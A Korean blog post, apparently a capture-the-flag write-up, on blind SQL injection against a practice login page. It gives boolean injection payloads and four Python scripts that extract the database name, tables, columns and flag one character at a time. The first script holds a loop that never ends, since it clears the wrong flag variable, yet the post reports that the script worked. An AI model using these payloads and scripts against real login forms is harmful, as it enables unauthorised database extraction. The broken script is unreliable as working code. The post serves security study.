Blind SQL Injection 연습 문제

gyub·2025년 5월 28일
0

모의해킹 스터디

목록 보기
19/31

1️⃣ SQLi 포인트 찾기

먼저 문제를 살펴보겠습니다

flag를 찾아야 하고, 문제 해결에 필요한 계정이 하나 주어졌습니다

주어진 계정으로 로그인하여, response와 request에 특별한 부분이 있는지 확인합니다

딱히 특이 사항 없이 잘 로그인 됩니다

혹시 SQL 문법 오류로 인한 메세지가 출력되는지 확인하기 위해, normaltic' 으로 로그인 시도해보겠습니다

오류메세지는 출력되지 않고 그냥 로그인 실패 메세지가 뜨네요

SQLi 포인트가 맞는지 확인하기 위해 normaltic' and '1'='1 로 로그인을 시도해보았습니다

잘 로그인 되는 것을 보아 SQLi 포인트는 맞는 것 같습니다

데이터 출력도 에러메세지 출력도 없이 로그인 성공/실패만 알 수 있으니 Blind SQL Injection을 진행하겠습니다

2️⃣ select 사용 가능 확인

Blind sql injection을 하려면 select 를 사용해야 하기 때문에,

select 가 혹시 필터링 등으로 인해 사용 불가능 하진 않은지 먼저 확인합니다

normaltic' and (select 'test')='test' and '1'='1 를 아이디로 넣어 로그인이 되는지 확인하겠습니다

잘 로그인 되는 것을 보아 select 는 사용 가능합니다

3️⃣ 공격 format 작성

이제 SQLi를 하기 위한 공격 format을 만들어 봅니다

normaltic' and (select 'test')='test' and '1'='1 이 로그인 가능한 것을 보아,

normaltic' and (공격 구문) and '1'='1 형태로 만들면 될 거 같네요

화면에 출력되는 데이터가 없으니 로그인 성공/실패 여부로 공격 구문의 참/거짓 여부를 판별해 데이터를 알아내야 합니다

이 때, 숫자 맞추기 게임처럼 글자의 범위를 좁혀가며 맞추는 것이 효율적이므로 우선 데이터를 한 글자씩 자르고

이 글자를 숫자로 변환해 범위에 속하는 지 알아내어 점점 범위를 좁혀가 맞추도록 하겠습니다

글자를 자르는 함수는 substr , 글자를 숫자로 변환하는 것은 ascii 이므로 이 두 함수를 활용해 공격 포맷을 작성하면 아래와 같습니다

normaltic' and ascii(substr((_SQL_),1,1))>숫자 and '1'='1

4️⃣ DB 이름 찾기

DB 이름은 select database() 로 찾습니다

이것을 공격 format에 적절히 삽입해 보겠습니다

normaltic' and ascii(substr((select database()),1,1))>숫자 and '1'='1

그런데 몇 글자인지도 모르는 데이터를 한 글자씩 자르고,

이 한 글자를 맞추기 위해 범위를 조금씩 바꿔가며 계속 테스트 하는 것은 시간도 오래 걸리고 힘듭니다

이 과정을 자동화 해보면 어떨까요?

import requests

# POST 날릴 URL
url = "http://ctf2.segfaulthub.com:7777/sqli_3/login.php"

# substr을 위한 인덱스 설정 초기화
idx=1

# 글자 다 찾을때까지 반복
while(True):
    # 아스키코드 숫자 값 초기화
    num = 0
    
    # idx번째 글자가 있는지 먼저 확인하기 위한 POST
    data = {
        'UserId': f"normaltic' and ascii(substr((select database()),{idx},1))>{num} and '1'='1",
        'Password':'1234',
        'Submit':'Login'
        }
    response = requests.post(url, data=data, allow_redirects=False)

    # 만약 글자가 없다면(로그인 실패로 인한 200 코드)
    if response.status_code == 200 :
        print("\n종료")
        break
    # 글자가 있다면(로그인 성공으로 인한 302 리다이렉트)
    else:
        flag = True

    # 글자 있으면 글자 추측 시작
    while (flag):

        # idx 번째 글자의 아스키코드 추측을 위한 POST
        data = {
        'UserId': f"normaltic' and ascii(substr((select database()),{idx},1))>{num} and '1'='1",
        'Password':'1234',
        'Submit':'Login'
        }
        response = requests.post(url, data=data, allow_redirects=False)

        # 아스키코드가 처음으로 num보다 작은 상황 = 글자 발견
        if(response.status_code == 200):
            flag2 = False
        else:
            num+=1
        
    print(chr(num),end="")
    idx+=1

이렇게 코드를 작성하면 쉽고 빠르게 원하는 데이터를 찾을 수 있습니다

자동화 코드를 통해 sqli_3 라는 데이터베이스를 찾았습니다

5️⃣ 테이블 이름 찾기

데이터베이스 이름을 알았으니, 이제 이걸 이용해 테이블을 찾겠습니다

테이블을 찾는 sql문은 아래와 같습니다

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli_3'

이걸 공격 format에 적절히 삽입해보도록 하겠습니다

normaltic' and ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli_3' limit 인덱스, 1),인덱스,1))>숫자 and '1'='1

그런데 데이터베이스 이름을 찾을 때와 마찬가지로 한 글자씩 찾는 것은 시간도 오래 걸리고 힘듭니다

그러니 파이썬으로 자동화 코드를 만들어 자동으로 데이터를 찾아주도록 만들어 봅시다

데이터베이스 이름 찾기와 달리 테이블은 여러 개 있을 수 있으니,

limit 함수를 사용해 여러 개 있어도 정상적으로 찾을 수 있도록 코드를 작성해주었습니다

import requests

# POST 날릴 URL
url = "http://ctf2.segfaulthub.com:7777/sqli_3/login.php"



# limit을 위한 인덱스 설정 초기화
limit_idx = 0

# 데이터 여러 개 다 찾을 때까지 반복
while(True):
    # substr을 위한 인덱스 설정 초기화
    idx=1

    # limit_idx번째 데이터가 있는지 먼저 확인하기 위한 POST
    data = {
        'UserId': f"normaltic' and ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli_3' limit {limit_idx},1),1,1))>0 and '1'='1",
        'Password':'1234',
        'Submit':'Login'
        }
    response = requests.post(url, data=data, allow_redirects=False)

    # 만약 데이터가 없다면(로그인 실패로 인한 200 코드)
    if response.status_code == 200 :
        print("종료")
        break
    # 데이터가 있다면(로그인 성공으로 인한 302 리다이렉트)
    else:
        flag1 = True

    # 글자 다 찾을때까지 반복
        while(flag1):
            # 아스키코드 숫자 값 초기화
            num = 0

            # idx번째 글자가 있는지 먼저 확인하기 위한 POST
            data = {
                'UserId': f"normaltic' and ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli_3'limit {limit_idx},1),{idx},1))>0 and '1'='1",
                'Password':'1234',
                'Submit':'Login'
                }
            response = requests.post(url, data=data, allow_redirects=False)

            # 만약 글자가 없다면(로그인 실패로 인한 200 코드)
            if response.status_code == 200 :
                print(f"\n{limit_idx+1} 번째 데이터 찾기 완료\n")
                limit_idx +=1
                break
            # 글자가 있다면(로그인 성공으로 인한 302 리다이렉트)
            else:
                flag2 = True

            # 글자 있으면 글자 추측 시작
            while (flag2):

                # idx 번째 글자의 아스키코드 추측을 위한 POST
                data = {
                'UserId': f"normaltic' and ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli_3' limit {limit_idx},1),{idx},1))>{num} and '1'='1",
                'Password':'1234',
                'Submit':'Login'
                }
                response = requests.post(url, data=data, allow_redirects=False)

                # 아스키코드가 처음으로 num보다 작은 상황 = 글자 발견
                if(response.status_code == 200):
                    flag2 = False
                else:
                    num+=1
            
            print(chr(num),end="")
            idx+=1

flag_tablemember 총 2개의 테이블을 찾았습니다

6️⃣ 컬럼 이름 찾기

테이블을 찾았으니 이제 해당 테이블에 어떤 컬럼이 있는지 알아야 합니다

우리가 문제에서 찾아야 할 것은 flag이니, flag_table 에 어떤 컬럼이 있는지 조사해보겠습니다

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table'

마찬가지로 sql 문을 공격 format에 적절히 삽입하면 아래와 같습니다

normaltic' and ascii(substr((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table' limit 인덱스, 1),인덱스,1))>숫자 and '1'='1

변경된 구문에 맞게 자동화 코드도 수정합니다

import requests

# POST 날릴 URL
url = "http://ctf2.segfaulthub.com:7777/sqli_3/login.php"


# limit을 위한 인덱스 설정 초기화
limit_idx = 0

# 데이터 여러 개 다 찾을 때까지 반복
while(True):
    # substr을 위한 인덱스 설정 초기화
    idx=1

    # limit_idx번째 데이터가 있는지 먼저 확인하기 위한 POST
    data = {
        'UserId': f"normaltic' and ascii(substr((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table' limit {limit_idx},1),1,1))>0 and '1'='1",
        'Password':'1234',
        'Submit':'Login'
        }
    response = requests.post(url, data=data, allow_redirects=False)

    # 만약 데이터가 없다면(로그인 실패로 인한 200 코드)
    if response.status_code == 200 :
        print("종료")
        break
    # 데이터가 있다면(로그인 성공으로 인한 302 리다이렉트)
    else:
        flag1 = True

    # 글자 다 찾을때까지 반복
        while(flag1):
            # 아스키코드 숫자 값 초기화
            num = 0

            # idx번째 글자가 있는지 먼저 확인하기 위한 POST
            data = {
                'UserId': f"normaltic' and ascii(substr((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table' limit {limit_idx},1),{idx},1))>0 and '1'='1",
                'Password':'1234',
                'Submit':'Login'
                }
            response = requests.post(url, data=data, allow_redirects=False)

            # 만약 글자가 없다면(로그인 실패로 인한 200 코드)
            if response.status_code == 200 :
                print(f"\n{limit_idx+1} 번째 데이터 찾기 완료\n")
                limit_idx +=1
                break
            # 글자가 있다면(로그인 성공으로 인한 302 리다이렉트)
            else:
                flag2 = True

            # 글자 있으면 글자 추측 시작
            while (flag2):

                # idx 번째 글자의 아스키코드 추측을 위한 POST
                data = {
                'UserId': f"normaltic' and ascii(substr((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table' limit {limit_idx},1),{idx},1))>{num} and '1'='1",
                'Password':'1234',
                'Submit':'Login'
                }
                response = requests.post(url, data=data, allow_redirects=False)

                # 아스키코드가 처음으로 num보다 작은 상황 = 글자 발견
                if(response.status_code == 200):
                    flag2 = False
                else:
                    num+=1
            
            print(chr(num),end="")
            idx+=1

코드를 실행하였더니 flag 라는 컬럼을 발견했습니다

7️⃣ 데이터 추출

테이블과 컬럼 이름까지 알았으니 이제 이걸 이용해 데이터를 추출해야 합니다

select flag from flag_table 를 공격 format에 끼워넣으면 됩니다

그럼 아래와 같은 구문이 만들어집니다

normaltic' and ascii(substr((select flag from flag_table limit 인덱스,1),인덱스,1))>숫자 and '1'='1

컬럼 데이터를 찾을 때와 마찬가지로 바뀐 구문과 데이터가 여러 개일 수 있다는 점을 고려해 코드를 수정합니다

import requests

# POST 날릴 URL
url = "http://ctf2.segfaulthub.com:7777/sqli_3/login.php"



# limit을 위한 인덱스 설정 초기화
limit_idx = 0

# 데이터 여러 개 다 찾을 때까지 반복
while(True):
    # substr을 위한 인덱스 설정 초기화
    idx=1

    # limit_idx번째 데이터가 있는지 먼저 확인하기 위한 POST
    data = {
        'UserId': f"normaltic' and ascii(substr((select flag from flag_table limit {limit_idx},1),1,1))>0 and '1'='1",
        'Password':'1234',
        'Submit':'Login'
        }
    response = requests.post(url, data=data, allow_redirects=False)

    # 만약 데이터가 없다면(로그인 실패로 인한 200 코드)
    if response.status_code == 200 :
        print("종료")
        break
    # 데이터가 있다면(로그인 성공으로 인한 302 리다이렉트)
    else:
        flag1 = True

    # 글자 다 찾을때까지 반복
        while(flag1):
            # 아스키코드 숫자 값 초기화
            num = 0

            # idx번째 글자가 있는지 먼저 확인하기 위한 POST
            data = {
                'UserId': f"normaltic' and ascii(substr((select flag from flag_table limit {limit_idx},1),{idx},1))>0 and '1'='1",
                'Password':'1234',
                'Submit':'Login'
                }
            response = requests.post(url, data=data, allow_redirects=False)

            # 만약 글자가 없다면(로그인 실패로 인한 200 코드)
            if response.status_code == 200 :
                print(f"\n{limit_idx+1} 번째 데이터 찾기 완료\n")
                limit_idx +=1
                break
            # 글자가 있다면(로그인 성공으로 인한 302 리다이렉트)
            else:
                flag2 = True

            # 글자 있으면 글자 추측 시작
            while (flag2):

                # idx 번째 글자의 아스키코드 추측을 위한 POST
                data = {
                'UserId': f"normaltic' and ascii(substr((select flag from flag_table limit {limit_idx},1),{idx},1))>{num} and '1'='1",
                'Password':'1234',
                'Submit':'Login'
                }
                response = requests.post(url, data=data, allow_redirects=False)

                # 아스키코드가 처음으로 num보다 작은 상황 = 글자 발견
                if(response.status_code == 200):
                    flag2 = False
                else:
                    num+=1
            
            print(chr(num),end="")
            idx+=1

실행했더니 플래그를 찾을 수 있었습니다

0개의 댓글